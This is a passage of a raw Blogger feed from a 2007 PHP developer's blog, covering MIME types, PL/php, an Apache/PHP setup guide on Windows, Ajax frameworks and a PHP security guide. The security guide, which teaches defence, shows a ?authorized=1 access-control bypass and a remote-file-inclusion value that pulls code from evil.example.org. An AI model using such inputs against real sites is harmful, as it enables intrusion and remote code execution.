&lt;td&gt;application/vnd.ms-excel&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xlc&lt;/td&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xlm&lt;/td&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xls&lt;/td&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xlt&lt;/td&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xlw&lt;/td&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xof&lt;/td&gt;     &lt;td&gt;x-world/x-vrml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xpm&lt;/td&gt;     &lt;td&gt;image/x-xpixmap&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;xwd&lt;/td&gt;     &lt;td&gt;image/x-xwindowdump&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;z&lt;/td&gt;     &lt;td&gt;application/x-compress&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;zip&lt;/td&gt;     &lt;td&gt;application/zip&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-4338389858728966964?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/4338389858728966964/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=4338389858728966964' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4338389858728966964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4338389858728966964'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/08/mime-types.html' title='Mime Types'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-4148384473272972314</id><published>2007-08-12T22:16:00.000-07:00</published><updated>2007-08-12T22:25:24.548-07:00</updated><title type='text'>PHP Procedural Language for PostgreSQL</title><content type='html'>&lt;h2&gt;What is PL/php?&lt;br /&gt;&lt;/h2&gt;&lt;p&gt;PL/php is a procedural language with hooks into the PostgreSQL database sytem, intended to allow writing of PHP functions for use as functions inside the PostgreSQL database. It was written by Command Prompt, Inc. and has since been open sourced and licensed under the PHP and PostgreSQL (BSD) licenses.&lt;br /&gt;&lt;/p&gt;&lt;h2 id="DownloadandInstallation"&gt;Download and Installation&lt;br /&gt;&lt;/h2&gt;&lt;p&gt;Please see &lt;a class="wiki" href="https://projects.commandprompt.com/public/plphp/wiki/InstallDocs10"&gt;the installation documentation&lt;/a&gt; for instructions on how to install PL/php 1.0.  To install the new code, which only works with PostgreSQL 8.0 and 8.1 and is currently in development, see &lt;a class="wiki" href="https://projects.commandprompt.com/public/plphp/wiki/InstallDocs"&gt;this page instead&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;&lt;h2 id="CreatingthePL/phplanguage"&gt;Creating the PL/php language&lt;br /&gt;&lt;/h2&gt;&lt;p&gt;Please see the documentation on &lt;a class="wiki" href="https://projects.commandprompt.com/public/plphp/wiki/CreateLang80"&gt;how to create the language in a database &lt;/a&gt;once the library is installed.  If you are using PostgreSQL 8.1 you must follow &lt;a class="wiki" href="https://projects.commandprompt.com/public/plphp/wiki/CreateLang"&gt;these other instructions&lt;/a&gt; instead.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-4148384473272972314?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/4148384473272972314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=4148384473272972314' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4148384473272972314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4148384473272972314'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/08/php-procedural-language-for-postgresql.html' title='PHP Procedural Language for PostgreSQL'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-1180928361328673350</id><published>2007-08-12T20:58:00.000-07:00</published><updated>2007-08-12T21:14:34.884-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Php Development'/><title type='text'>Apache 2, PHP 4 &amp; PHP 5 on Windows XP</title><content type='html'>&lt;div&gt;&lt;img src="http://wamp.corephp.co.uk/gfx/header.jpg" alt="" border="0" height="135" width="728"&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;This is a comprehensive guide to installing and running Apache 2.2.4 with PHP 4.4.7 and PHP 5.2.3 on Windows XP. It covers all of the steps in detail with lots of screen grabs so you can follow the process visually.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; The guide has been updated for PHP 5.2.3. I have also created a new &lt;a href="http://wamp.corephp.co.uk/forum/list.php?1"&gt;forum here&lt;/a&gt;. Please use it if you run into trouble following this guide, I'll be only too happy to help. You don't even need to register to post.&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;The Guide&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;I know that the number of sections looks daunting, but that is because I have split the guide up into small manageable chunks. It shouldn't take you longer than a couple of minutes to complete each section.&lt;/p&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_01.php"&gt;Downloads&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_02.php"&gt;Configure Windows XP for PHP&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_03.php"&gt;PHP 4 Settings&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_04.php"&gt;PHP 5 Settings&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_05.php"&gt;Create a local web site&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_06.php"&gt;Setting the Environment Variable&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_07.php"&gt;Install Apache&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_08.php"&gt;Install the Apache2 Handler&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_09.php"&gt;httpd.conf&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_10.php"&gt;Creating a Virtual Host&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_11.php"&gt;system32/drivers/etc/hosts&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_12.php"&gt;Bring Apache to life&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_13.php"&gt;Switching to PHP 5&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;h3&gt;Useful Extras&lt;/h3&gt;&lt;br /&gt;&lt;ol start="14"&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_14.php"&gt;Adding another web site (detailed version)&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_15.php"&gt;Adding another web site (short version)&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_16.php"&gt;Build a PHP 4/5 switcher&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/step_17.php"&gt;Run PHP 5 as a module and PHP 4 as CGI together&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;h3&gt;Troubleshooting&lt;/h3&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/help_01.php"&gt;Apache won't start&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/help_02.php"&gt;Your guide doesn't work&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/help_03.php"&gt;They've just released a new version of PHP! Now what?&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;a href="http://wamp.corephp.co.uk/help_04.php"&gt;Can't you just do it for me?&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p&gt;Don't be disheartened by the length of the guide! There is no reason why you can't complete the entire process in under 30 mins, and you'll be rewarded with a versatile and feature-packed local development environment as your reward.&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;Who is this guide aimed at?&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Everyone who posts in php-general / forums asking how to get PHP and Apache running on Windows so they can develop and test locally. Often they'll hit simple but annoying problems that can be easily fixed. I also wrote this as an alternative to using a 'WAMP' installer. Teaching yourself how to install and configure PHP/Apache is a very useful set of skills to have, and well worth adding to your knowledge set.&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;User Feedback&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Since releasing this guide I've received some great emails from people who've had success with it. Here are some of my favourite quotes: "Thank you for your VERY helpful instructions! This point on I can now learn PHP a lot better on my own computer. Cheers!" (Patrick) - "I very much appreciate your guide - you made it really easy" (Terry) - "Richard, this is truly the best guide to setting up php and apache i've seen online. Thank you so much." (Edward) - "Thanks for the great and detailed guide" (Thijs). "Thank you very much for the php guide you spent a lot of hard work to make, the guide covered everything, screenshots, alternatives as well as any possible errors and was precise and right to the point, and because of it i finally have php installed on my computer and i can learn it more conviniently." (Gaurav)&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Thanks guys :) BTW all the feedback I have received so far has been incorporated into the guide. Feel free to use the new forum (see below) to send your comments / suggestions.&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;WAMP Guide Forum&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Need help on a more 'interactive' level? Then why not use the &lt;a href="http://wamp.corephp.co.uk/forum/list.php?1"&gt;WAMP Guide Forum&lt;/a&gt;. Post any questions or problems you may have. You don't even need to register to join. We'll help you as much as we can.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-1180928361328673350?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/1180928361328673350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=1180928361328673350' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1180928361328673350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1180928361328673350'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/08/apache-2-php-4-php-5-on-windows-xp.html' title='Apache 2, PHP 4 &amp; PHP 5 on Windows XP'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-3642998329297481262</id><published>2007-08-08T22:05:00.000-07:00</published><updated>2007-08-08T22:07:03.061-07:00</updated><title type='text'>PHP Ajax Frameworks</title><content type='html'>&lt;/h2&gt; &lt;ol&gt;&lt;li&gt;&lt;a href="http://ajason.sourceforge.net/" target="_blank"&gt;AJASON&lt;/a&gt; : AJASON is a PHP 5 library and JavaScript client &lt;/li&gt;&lt;li&gt;&lt;a href="http://ajax.zervaas.com.au/" target="_blank"&gt;AjaxAC&lt;/a&gt; : AjaxAC is an open-source framework written in PHP &lt;/li&gt;&lt;li&gt;&lt;a href="http://ajaxagent.org/" target="_blank"&gt;Ajax Agent&lt;/a&gt; : powerful open source framework for rapidly building Ajax or Rich Internet Applications (RIA) &lt;/li&gt;&lt;li&gt;&lt;a href="http://sourceforge.net/projects/cajax" target="_blank"&gt;Cajax&lt;/a&gt; : A PHP class library for writing powerfull reloadless web user interfaces using Ajax (DHTML+server-side) style &lt;/li&gt;&lt;li&gt;&lt;a href="http://cakephp.org/" target="_blank"&gt;CakePHP&lt;/a&gt; : Cake is a rapid development framework for PHP which uses commonly known design patterns like ActiveRecord, Association Data Mapping, Front Controller and MVC. &lt;/li&gt;&lt;li&gt;&lt;a href="http://clawphp.org/" target="_blank"&gt;Claw&lt;/a&gt; : a convenient and intuitive way of development of PHP5 driven object oriented applications. &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dutchpipe.org/" target="_blank"&gt;DutchPIPE&lt;/a&gt; : PHP object-oriented framework to turn sites into real-time, multi-user virtual environments: &lt;/li&gt;&lt;li&gt;&lt;a href="http://tripdown.de/flxajax/" target="_blank"&gt;Flexible Ajax&lt;/a&gt; : Flexible Ajax is a handler to combine the remote scripting technology, also known as AJAX (Asynchronous Javascript and XML), with a php-based backend. &lt;/li&gt;&lt;li&gt;&lt;a href="http://guava.sf.net/" target="_blank"&gt;Guava&lt;/a&gt; : Groundwork Guava is a PHP-based application framework and environment. &lt;/li&gt;&lt;li&gt;&lt;a href="http://htmlajax.org/" target="_blank"&gt;HTML_AJAX&lt;/a&gt; : HTML_AJAX is a PEAR package for performing AJAX operations from PHP. &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.htsdesign.com/index.php?&amp;amp;section=htswaf&amp;amp;page=index" target="_blank"&gt;HTSWaf&lt;/a&gt; : The HTS Web Application Framework is a PHP and Javascript based framework designed to make simple web applications easy to design and implement. &lt;/li&gt;&lt;li&gt;&lt;a href="http://litfuel.net/mybic/" target="_blank"&gt;My-BIC&lt;/a&gt; : My-BIC AJAX State of Mind for PHP harmony &lt;/li&gt;&lt;li&gt;&lt;a href="http://pajaj.sourceforge.net/" target="_blank"&gt;PAJAJ&lt;/a&gt; : PHP Asynchronous Javascript and JSON &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.auberger.com/pajax/" target="_blank"&gt;PAJAX&lt;/a&gt; : Remote (a)synchronous PHP objects in JavaScript &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.4al.pl/phpAjaxTags/" target="_blank"&gt;phpAjaxTags&lt;/a&gt; : phpAjaxTags is a port to PHP from java tag library AjaxTags. &lt;/li&gt;&lt;li&gt;&lt;a href="http://phpwebbuilder.sourceforge.net/" target="_blank"&gt;PHPWebBuilder&lt;/a&gt; : PHPWebBuilder is a PHP framework designed following well-known object oriented designs and principles featuring a highly reusable components architecture, metadata based persistence and traditional GUI style programming support. &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.qcodo.com/" target="_blank"&gt;Qcodo&lt;/a&gt; : open-source PHP 5 framework &lt;/li&gt;&lt;li&gt;&lt;a href="http://simpletutorials.com/tutorials/javascript/jsmx/index.html" target="_blank"&gt;Simple AJAX&lt;/a&gt; : This tutorial demonstrates how to perform AJAX functionality simply and effectively, using the AJAX JSMX library, coupled with the JSON-PHP library. &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.symfony-project.com/" target="_blank"&gt;symfony&lt;/a&gt; : open-source PHP5 web framework &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.metz.se/tinyajax/" target="_blank"&gt;TinyAjax&lt;/a&gt; : TinyAjax is a small php5 library that allows you to easily add AJAX-functionality to existing pages &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.xajaxproject.org/" target="_blank"&gt;xajax&lt;/a&gt; : Ajax-enable your PHP application with a simple toolkit that gets the job done fast. &lt;/li&gt;&lt;li&gt;&lt;a href="http://www.xoad.org/" target="_blank"&gt;XOAD&lt;/a&gt; : PHP based AJAX/XAP object oriented framework that allows you to create richer web applications &lt;/li&gt;&lt;li&gt;&lt;a href="http://zoopframework.com/" target="_blank"&gt;Zoop &lt;/a&gt; : oop is an object oriented framework for PHP based on a front controller. It is designed to be very fast and efficient and very nice for the programmer to work with. &lt;/li&gt;&lt;li&gt;&lt;a href="http://zephyr-php.sourceforge.net/" target="_blank"&gt;Zephyr&lt;/a&gt; : zephyr is an ajax based framework for php5 developers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-3642998329297481262?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/3642998329297481262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=3642998329297481262' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/3642998329297481262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/3642998329297481262'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/08/php-ajax-frameworks.html' title='PHP Ajax Frameworks'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-3795870112847975568</id><published>2007-08-07T23:11:00.000-07:00</published><updated>2007-08-07T23:18:38.207-07:00</updated><title type='text'>PHP Security Guide</title><content type='html'>&lt;h2&gt;&lt;a name="1.1"&gt;What Is Security?&lt;/a&gt;&lt;br /&gt;   &lt;/h2&gt;&lt;ul type="square"&gt;&lt;li&gt;&lt;p&gt;Security is a measurement, not a characteristic.&lt;br /&gt;   &lt;/p&gt;&lt;p style="text-align: justify;"&gt;It is unfortunate that many software projects list security as a simple requirement to be met. Is it secure? This question is as subjective as asking if something is hot.&lt;br /&gt;   &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Security must be balanced with expense.&lt;br /&gt;   &lt;/p&gt;&lt;p&gt;It is easy and relatively inexpensive to provide a sufficient level of security for most applications. However, if your security needs are very demanding, because you're protecting information that is very valuable, then you must achieve a higher level of security at an increased cost. This expense must be included in the budget of the&lt;br /&gt;   project. Security must be balanced with usability.&lt;br /&gt;   &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It is not uncommon that steps taken to increase the security of a web application also decrease the usability. Passwords, session timeouts, and access control all create obstacles for a legitimate user. Sometimes these are necessary to provide adequate security, but&lt;br /&gt;   there isn't one solution that is appropriate for every application. It is wise to be mindful of your legitimate users as you implement security measures.&lt;br /&gt;   &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Security must be part of the design.&lt;br /&gt;   &lt;/p&gt;&lt;p&gt;If you do not design your application with security in mind, you are doomed to be constantly addressing new security vulnerabilities.Careful programming cannot make up for a poor design.&lt;br /&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;a name="1.2"&gt;Basic Steps&lt;/a&gt;&lt;br /&gt;   &lt;/h2&gt;&lt;ul type="square"&gt;&lt;li&gt;&lt;p&gt;Consider illegitimate uses of your application.&lt;br /&gt;   &lt;/p&gt;&lt;p&gt;A secure design is only part of the solution. During development, when the code is being written, it is important to consider illegitimate uses of your application. Often, the focus is on making the application work as intended, and while this is necessary to deliver a properly functioning application, it does nothing to help make the application secure.&lt;br /&gt;   &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Educate yourself.&lt;br /&gt;   &lt;/p&gt;&lt;p&gt;The fact that you are here is evidence that you care about security, and as trite as it may sound, this is the most important step. There are numerous resources available on the web and in print, and several resources are listed in the PHP Security Consortium's&lt;br /&gt;   Library at &lt;a href="http://phpsec.org/library/"&gt;http://phpsec.org/library/&lt;/a&gt;.&lt;br /&gt;   &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If nothing else, FILTER ALL EXTERNAL DATA.&lt;br /&gt;   &lt;/p&gt;&lt;p&gt;Data filtering is the cornerstone of web application security in any language and on any platform. By initializing your variables and filtering all data that comes from an external source, you will address a majority of security vulnerabilities with very little effort. A whitelist approach is better than a blacklist approach. This means that you should consider all data invalid unless it can be proven valid (rather than considering all data valid unless it can be proven invalid).&lt;br /&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;a name="1.3"&gt;Register Globals&lt;/a&gt;&lt;br /&gt;&lt;/h2&gt;&lt;p&gt;The &lt;tt&gt;register_globals&lt;/tt&gt; directive is disabled by default in PHP versions 4.2.0 and greater. While it does not represent a security vulnerability, it is a security risk. Therefore, you should always develop and deploy applications with &lt;tt&gt;register_globals&lt;/tt&gt; disabled.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Why is it a security risk? Good examples are difficult to produce for everyone, because it often requires a unique situation to make the risk clear. However, the most common example is that found in the PHP manual:&lt;br /&gt;&lt;/p&gt;&lt;pre class="code"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;if (authenticated_user())&lt;br /&gt;{&lt;br /&gt;   $authorized = true;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if ($authorized)&lt;br /&gt;{&lt;br /&gt;   include '/highly/sensitive/data.php';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;With &lt;tt&gt;register_globals&lt;/tt&gt; enabled, this page can be requested with &lt;tt&gt;?authorized=1 &lt;/tt&gt;in the query string to bypass the intended access control. Of course, this particular vulnerability is the fault of the developer, not &lt;tt&gt;register_globals&lt;/tt&gt;, but this indicates the increased risk posed by the directive. Without it, ordinary global variables (such as &lt;tt&gt;$authorized &lt;/tt&gt;in the example) are not affected by data submitted by the client. A best practice is to initialize all variables and to develop with &lt;tt&gt;error_reporting &lt;/tt&gt;set to &lt;tt&gt;E_ALL&lt;/tt&gt;, so that the use of an uninitialized variable won't be overlooked during development.&lt;br /&gt;&lt;p&gt;Another example that illustrates how &lt;tt&gt;register_globals &lt;/tt&gt;can be problematic is the following use of &lt;tt&gt;include &lt;/tt&gt;with a dynamic path:&lt;/p&gt;&lt;br /&gt;&lt;pre class="code"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;include "$path/script.php";&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;With &lt;tt&gt;register_globals&lt;/tt&gt;&lt;br /&gt;&lt;p&gt;enabled, this page can be&lt;br /&gt;requested with&lt;br /&gt;&lt;tt&gt;?path=http%3A%2F%2Fevil.example.org%2F%3F&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;in the query string in order to equate this example to the following:&lt;/p&gt;&lt;br /&gt;&lt;pre class="code"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;include 'http://evil.example.org/?/script.php';&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;If &lt;tt&gt;allow_url_fopen&lt;/tt&gt;&lt;br /&gt;is enabled (which it is by default, even in &lt;tt&gt;php.ini-recommended&lt;/tt&gt;), this will include&lt;br /&gt;the output of &lt;tt&gt;http://evil.example.org/&lt;/tt&gt; just as if it were a&lt;br /&gt;local file. This is a major security vulnerability, and it is one that has&lt;br /&gt;been discovered in some popular open source applications.&lt;/p&gt;&lt;p&gt;Initializing &lt;tt&gt;$path&lt;/tt&gt; can mitigate this particular risk,&lt;br /&gt;but so does disabling &lt;tt&gt;register_globals&lt;/tt&gt;. Whereas a developer's mistake can lead to an uninitialized variable, disabling&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;register_globals&lt;/tt&gt; is a global configuration change that is far less likely to be overlooked.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;The convenience is wonderful, and those of us who have had to manually&lt;br /&gt;handle form data in the past appreciate this. However, using the &lt;tt&gt;$_POST&lt;/tt&gt; and&lt;br /&gt;&lt;tt&gt;$_GET&lt;/tt&gt; superglobal arrays is&lt;br /&gt;still very convenient, and it's not worth the added risk to enable&lt;br /&gt;&lt;tt&gt;register_globals&lt;/tt&gt;. While I completely disagree with arguments that equate &lt;tt&gt;register_globals&lt;/tt&gt;&lt;br /&gt;to poor security, I do recommend that it be disabled.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;In addition to all of this, disabling&lt;br /&gt;&lt;tt&gt;register_globals&lt;/tt&gt; encourages developers to be mindful of the&lt;br /&gt;origin of data, and this is an important characteristic of any&lt;br /&gt;security-conscious developer.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;a name="1.4"&gt;Data Filtering&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As stated previously, data filtering is the cornerstone of web&lt;br /&gt;application security, and this is independent of programming language or&lt;br /&gt;platform. It involves the mechanism by which you determine the validity of&lt;br /&gt;data that is entering and exiting the application, and a good software design&lt;br /&gt;can help developers to:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul type="square"&gt;&lt;li&gt;&lt;p&gt;Ensure that data filtering cannot be bypassed,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensure that invalid data cannot be mistaken for valid data,&lt;br /&gt;       and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Identify the origin of data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Opinions about how to ensure that data filtering cannot be bypassed&lt;br /&gt;vary, but there are two general approaches that seem to be the most common,&lt;br /&gt;and both of these provide a sufficient level of assurance.&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;&lt;a name="1.4.1"&gt;The Dispatch Method&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;One method is to have a single PHP script available directly from the&lt;br /&gt;web (via URL). Everything else is a module included with&lt;br /&gt;&lt;tt&gt;include&lt;/tt&gt; or &lt;tt&gt;require&lt;/tt&gt; as needed. This&lt;br /&gt;method usually requires that a &lt;tt&gt;GET&lt;/tt&gt; variable be passed along&lt;br /&gt;with every URL, identifying the task. This &lt;tt&gt;GET&lt;/tt&gt; variable can&lt;br /&gt;be considered the replacement for the script name that would be used in a more&lt;br /&gt;simplistic design. For example:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;http://example.org/dispatch.php?task=print_form&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;The file &lt;tt&gt;dispatch.php&lt;/tt&gt; is the only file within&lt;br /&gt;document root. This allows a developer to do two important things:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul type="square"&gt;&lt;li&gt;&lt;p&gt;Implement some global security measures at the top of&lt;br /&gt;       &lt;tt&gt;dispatch.php&lt;/tt&gt; and be assured that these measures&lt;br /&gt;       cannot be bypassed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Easily see that data filtering takes place when necessary, by&lt;br /&gt;       focusing on the control flow of a specific task.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To further explain this, consider the following example&lt;br /&gt;&lt;tt&gt;dispatch.php&lt;/tt&gt; script:&lt;/p&gt;&lt;br /&gt;&lt;pre class="code"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;/* Global security measures */&lt;br /&gt;&lt;br 